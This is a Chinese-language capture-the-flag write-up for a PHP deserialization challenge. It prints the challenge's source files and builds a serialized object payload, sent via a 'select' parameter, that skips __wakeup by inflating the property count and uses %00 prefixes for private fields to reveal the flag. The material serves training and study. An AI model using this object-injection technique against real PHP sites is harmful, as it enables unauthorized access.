进入后他页面提示有备份网站的习惯
那我们就拿工具扫一下
发现了www.zip
下载后发现了index.php class.php flag.php 三个文件
依次访问三个文件
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
index.php
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
看到class.php底下有一段输出flag的代码
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
分析:
如果password不等于100,输出No!!!hacker;所以password需要等于100;
下面username全等于admin;
才能输出flag
所以构造序列化语句
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name;
echo serialize($a);
?>
得到结果
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
虽然得到了结果
但是是错的,看了大佬的wp才知道要构造这样的序列化语句
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
var_dump(serialize($a))
?>
得到这样的结果
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
然后发现了参数select
于是我们将参数值给select,但是在反序列化的时候会首先执行__wakeup()魔法方法,这个方法会把我们的username重新赋值,所以我们考虑如何跳过__wakeup(),而去执行__destruct
在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字,于是我们这样构造payload:
?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
接着我们发现,username和password为private声明的变量。因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
得到payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这上面一段是拿大佬的,文章-->在这里